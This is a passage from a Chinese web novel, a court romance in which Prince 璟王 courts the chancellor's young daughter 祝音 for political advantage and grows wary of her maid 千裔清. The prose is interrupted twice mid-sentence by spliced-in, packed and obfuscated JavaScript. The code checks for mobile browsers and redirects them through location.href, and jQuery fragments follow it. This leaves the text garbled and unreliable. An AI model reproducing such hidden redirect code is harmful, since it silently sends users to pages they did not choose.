她急忙抬头,窝在男人怀里的小个头只能瞧见精致完美的下颌线条,以及微微翘起略显不屑的唇角。 祝纶咬咬牙:“璟王殿下,我是在教训妹妹,还请不要过问我们祝家的家事!” 璟王的声音是很好听,只是温和的语调却总让人听出些无法抵御压迫感来。 他自顾自问:“祝大公子可是要回相府?” 祝纶不甘示弱:“是又怎么样?” 璟王笑了笑:“既要回府就请先回吧,至于祝小姐——稍后本王会亲自送回祝府。” “燕歌。” 被换作燕歌的人微微抬首,做出一副“请”的架势,偏带了分明的逼迫意味,半推着祝纶上了自家马车。 至于旁的什么,祝音听不见了。 她已经从璟王怀里撤开一段距离,正是能清清楚楚看到眼前人模样的距离。 不知道过了多久,璟王抬手在她额上轻点一下,终于把小姑娘的注意力拉回现实。 她方才看呆了,这世上怎么会有这么好看的人,难道真的有神仙? “祝音。”璟王用他无比好听的声音唤了她的名字,又问,“你是祝丞相的千金,祝音?” 祝音讶然,难掩脸上的羞怯和愉悦,被这样一个好看的人记住了名字,她要如何不开心? 祝音问:“你怎么知道我叫祝音?” 璟王垂眼笑道:“常听五弟他们说起,今日有形得以一见,果然如传言中一般。” 祝音心下一惊,一种担心旁人说了自己什么不中听的感觉油然而生。 璟王他听了什么?不会破坏自己在他心中的印象吧! 于是祝音咬着嘴唇,用近乎蚊子哼叫的声音问道:“齐光哥哥他们......说我什么了?” 看着面前这个矮了自己许多的小丫头,生的一副乖巧听话的模样,璟王弯起唇角,迎上她胆怯又隐含着些许期待的目光轻轻启唇:“说你——可爱。” 家仆得了吩咐先回相府,提前告知丞相待会儿璟王要来的消息,而祝音则是坐上了璟王府的马车,颇显拘束地端坐在车尾。 这位璟王殿下年岁比她大上不少,如今应有十九,也是几位皇子中唯一封王的,父亲在家里也常赞他,说他有帝王之相。 帝王......那岂不是要当皇帝? 岂不是......会有许多妃子...... 啊啊啊——想远了!怎么就想到这来了! 刚涌上来的失落立刻被羞愤覆上,祝音的脸上表情很精彩,不过璟王却是不明白她为何会有这么精彩的表情。 璟王敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271370|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了敲手心的折扇,没折她面子:“祝丞相今日身体可好?” “啊——挺好的。”祝音猛地抬起头,立刻忘却了方才的尴尬,有来有回,“璟王殿下认识我爹?” 璟王微微颔首:“不算熟悉。” “哦......”祝音似懂非懂地点头,又问,“对了,璟王殿下怎么会来这里?” 她记得璟王早就离了学堂不必再读,他的封地本离皇城不近,听说是住的不大习惯,便又住回城里了。 璟王掀起眼皮,答道:“来找五弟,只是方才听说五弟今日并未来国子监,是我来的不巧了。” 祝音急忙反驳:“谁说的!璟王殿下来得太巧了!” 若不是璟王这么巧来,她不就遭殃了吗? 话一出口,祝音猛然意识到不妥,这种言辞似乎不够敬重,毕竟她和璟王只是第一次见,并不熟悉。 还没道歉呢,璟王倒是先一步开口了。 他脸上表情似笑非笑:“倒是也不必一口一个璟王殿下的称呼我,你唤五弟他们那般亲切,怎么我比他们吓人不成?” 怎么会。 祝音垂头,声音缩成一团:“那......我应该怎么称呼你?” 垂下的头没勇气抬起,不知为何,祝音有些期待他的答案,自然也会害怕听到他的答案。 空气滞了一瞬,如玉般温凉的声音从另一头幽幽传来:“我名唤容瑾,字玉衡,你若愿意,也像唤他们一般唤我玉衡哥哥,可好?” 祝音以为自己听错了,诧异抬头。 然而刚一抬头,对上的就是一对含笑的凤眼,眼中是说不尽的温柔。 见她没答话,璟王偏头疑惑道:“你觉得不好?” 祝音连忙回应:“没有!只是......会不会不合礼数,您是王爷......” “不会。”璟王弯了弯唇角,“我觉得很合理数。” - 回到相府时,祝继明正协同妻妾和长子一同在门外等候。 若是平日倒不至于如此,只是今天不用,下人回禀时是按照燕歌的说辞通报,又说璟王脸色不好了,又说祝大公子得罪了璟王了。 这些话一出口,饶是身为丞相的祝继明也不得不拖家带口地放低姿态,做出一副随时要负荆请罪的模样来。 马车停稳,果然是璟王缓步移下,正如神仙下凡莅临人间一样脱俗。 还没等女眷欣赏完毕,只见这位王爷朝马车方向伸出他修长高贵的手,面露宠溺地接过里头小心探出的另一只柔荑,正是他祝继明的女儿——祝音。 有人欢喜有人忧。 祝丞相和夫人自然是喜闻乐见,只是再转眼一瞧,那妾室母子的脸色如同霜打的茄子一般一个比一个难看。 很快,璟王被丞相客客气气迎进相府,两人一前一后去了会客厅,不知道聊些什么,但聊了许久。 久到余夫人将今日的来龙去脉问了八遍,久到祝音的耳朵被余夫人的叮嘱磨的起了茧子,久到房里终于清净的只剩她一个人,房门传来两声清脆的叩门。 卸下梳妆的祝音从里面打开房门,外面那人却背着身没有进来,得体的行为让祝音不免又生出许多好感。 还有失落。 “璟——玉衡哥哥,你要走了吗?” 璟王微微侧头,轻点下巴:“嗯,要走了,来同你知会一声。” 祝音想破脑袋也没想透该说点什么,于是随着心问道:“你和爹爹谈了这么久,谈些什么啊?” 璟王似是一愣,没想到她会这么问,也太敢问了,连这等事也敢打听。 不过他今日性子极耐心,唇角露出半边笑意:“替你告状。” ......那祝纶岂不是惨了。 虽是这么想,祝音不得不承认,她还是挺希望祝纶惨上一次的,这样以后就不敢这么过分了! “......谢谢玉衡哥哥替我出气。” 迎着月光,他的侧脸线条也好看的紧。 璟王摇头:“不必客气,你休息罢。” “好。”祝音应着,一直未关的房门表明了她的恋恋不舍。 知道眼前的男人走出几步,再回过身时已经看不太真切,这般距离应该算得上得体了。 璟王就站在那里,目光落在她懵懂的小小身影,犹豫片刻:“渺渺,明日花灯节,想不想同我一起去看看热闹?” 在车上交换的小字就这样被一个有些陌生的男人轻易唤出口,祝音一阵脸红,清醒他们隔的远,天色又黑,所以看不清她的样子。 长出一口气,她听到自己因为激动而微颤的声音,软软糯糯。 “好。” 90. 人物番外三 与祝音相识的一年以来,所有人都知道璟王频繁出入祝丞相的府邸,虽是打着见祝音的旗号上门,但有点脑子的人都猜得到,正所谓醉翁之意不在酒,他容瑾也绝非是为了个小丫头片子才登门拜访。 不过嘛,旁人怎么想他也无所谓,若他们真的都知道他的想法倒也不错,省得他一个个的去告诉旁人,他与祝家关系有多密切。 祝音这丫头,听话、好骗,也好哄。 跟她相处并不费事。 这日从相府离开,刚一跨出门槛,燕歌就神色不善地迎上前,低头行了个礼,附在耳边低语几句。 璟王默然听完,面色如常。 燕歌一边迎着他朝巷口走,一边诧异:“您不生气?” 出入相府如此之久,对外又总是宣称给祝音送什么小玩意儿,亦或带着她出门游玩,长此以来,外界有传言说他与祝音好事将近倒也不出意料。 如今的祝音正值豆蔻,家里为她开始考虑婚事也很正常,无须生气。 燕歌不解:“可您又不是真的要娶祝小姐,这样下去,如果所有人都默认了这个事实,您可要怎么抽身?” 璟王毫不在意的笑笑:“本王为何要抽身?只要于我有所利,娶谁有什么重要的?” 就算真的赶鸭子上架把祝音取回来,那也不过是好吃好喝供着、伺候着便罢了,反正那小丫头好打发的很,哪比得上他要的东西重要。 燕歌沉默,这话说的也没错,皇家的婚姻哪有什么愿意不愿意的,哪有什么真爱不真爱的,是他浅薄了,璟王殿下是成大事的人。 成大事者,不会计较这些小事。 只是燕歌还是有些替祝音感叹,她年纪那么小,不知道受不受得了这些打击。 沉吟片刻,燕歌问道:“若祝小姐知道当初您是故意接近于她,不知是否会打乱你的计划?” “那就管好你的嘴。”璟王冷冷扫他一眼,“收起你的怜悯之心,她永远不会知道。” 燕歌重重点头:“属下明白,属下只是担心您的计划。” “我的计划——” 璟王正想告诉他任何担心都是多余的,一眼扫过身侧的巷口拐角,墙边是个穿着鹅黄色衫裙的少女,打扮的虽然朴素,容貌却绝对算得上惊为天人。 这位美人正蹲在地上捡起散落的纸页。 见两人立在面前,她仰起头,略显尴尬道:“这话本装帧不结实......掉页了......” 太假了,撒谎。 燕歌比璟王表现的更直接,几乎立刻抽刀要上前。 璟王蹙起双眉,对着身边的燕歌使了个眼色,燕歌咬牙退下。 最后一页纸被拾起放回竹篮,少女终于起身,对着他微微一笑,欠身道:“璟王殿下。” 璟王危险地挑眉:“你认识我?” 她一脸坦然地回答:“奴婢是丞相府上的婢子,跟在祝音小姐身边侍奉的。” 璟王想了想,他不是那种会去注意一个婢女的人,而既然这姑娘在相府做事,远远的瞧见他,记得他,是一件很稀松平常的事。 合理。 但也不合理。 这女人出现的太过巧合,连借口都很不像样子,实在让人不得不怀疑她刚才听到了多少。 “你说你是祝音身边的婢女?”璟王仔细回忆了一番,想起一个常被挂在小丫头嘴边的名字,眯了眯眼,“你是千裔清?” “回璟王殿下,是奴婢。”千裔清扬着恭敬的语调,面上看不出丝毫的惊讶,似是对他猜到她的身份早已料到。 凭着他多疑的性子,容瑾确认,她一定听到了。 点点头,不再理会千裔清,容瑾抬手示意燕歌跟上,两人消失在巷口处。 早知道今日就坐着王府的马车来了,也就不会出现这样的事。 燕歌犹豫了一下,试探道:“要不要杀了?” 杀了,这个想法在刚见她的那一眼已然在容瑾心中萌生。 可惜不行,她既然是祝音的人,每次听祝音提起时那副热络的样子,这个千裔清自然是不能随随便便杀掉的。 她入府不久,就算论先后,祝音对他的信任也该更深一些才对,因此璟王倒不急着解决她,而是打算慢慢想办法。 - 马车上,祝音捧着精致的玉雕礼匣,里面是从番外得来的碧色珊瑚,到了夜晚会发出幽光的,祝音没见过,在璟王府上总好奇地盯着瞧。 璟王一眼就看出她很喜欢,反正他对这些身外之物向来不怎么看重,便送给她了。 一株小小的碧色珊瑚竟也能引得她如此开心,一路上悄悄打开看了好几次。 璟王笑了笑,没察觉自己唇角逐渐加深的弧度。 何若芸自是知道自己儿子得罪他不少次,那少爷嘴上没个把门的,得罪人也是常有的事。这次也定是为了她那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272863|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝贝儿子上赶着巴结自己,做出一副温婉贤淑的模样早早侯在相府大门。 何若芸说了什么容瑾没兴趣听,他只想赶紧走,余光随意的一瞥,却正巧落在不远处款款而来的熟悉人影。 千裔清来到近前,冷冷看了何若芸一眼。 璟王挑了挑眉,顿时明白了这两人的关系。 何若芸沉不住气,把方才在他那里遇的冷色悉数还去千裔清身上,张嘴便训斥道:“让你买点东西,你可倒好买了一天!这么点小事都办不好,后院领罚去吧!” 祝音一见不妙慌忙上前:“何姨娘,千千姐姐是我房里的人,你本来就不该使唤她做事的!” 这话惹得何若芸柳眉倒竖,声调越发尖锐:“怎么?一个丫头而已,我连使唤都不能使唤了?” 祝音立刻争执着:“可是爹爹说过——” 何若芸嘲讽地一笑:“说过什么?我怎么不记得?” 璟王漠然听着,陡然收起立刻打道回府的想法,上前一步,悄无声息地把祝音拦在身后,目光仍是没落在何若芸脸上。 他转过头,语调淡淡的,声音不大不小:“千千姑娘。” 权威的人陡然发话,纵然只是简简单单的四个字,却硬生生让众人都停下话头。争吵声顿时消失。 千裔清略显诧异地对上他的目光,愣了一下,垂下头恭敬行了一礼:“璟王殿下有何吩咐?” 璟王笑了笑,是他一贯作出的最为虚假柔和的笑颜:“多日未见,千千姑娘的气色越来越好了,渺渺常在本王面前赞你,下次得空出门让渺渺也带上你,不知方便不方便?” 这番话看起来是帮祝音撑场面的,两三句话抬高了千裔清的身份,又给了何若芸一个难堪。 祝音一脸感激道:“好呀好呀!人多一点更热闹嘛!” 千裔清自是没理由不配合的,只好欠身谢过璟王。 璟王微微颔首,转身无视过何若芸又红又白的脸色,重新坐回车辇。 也就是祝音了,她理所当然的忽视了方才话里那句“多日未见”,却没曾想问他一句他们二人何时见过。 但容潜明白千裔清一定听得懂,既然她在相府的日子过得不好,祝音又护不住她,他不介意卖她个人情,只希望——不要坏了他的计划。 他哪里知道千裔清那一愣是真心觉得茫然,因为那天在巷口,她是真的真的、真的什么也没有听到......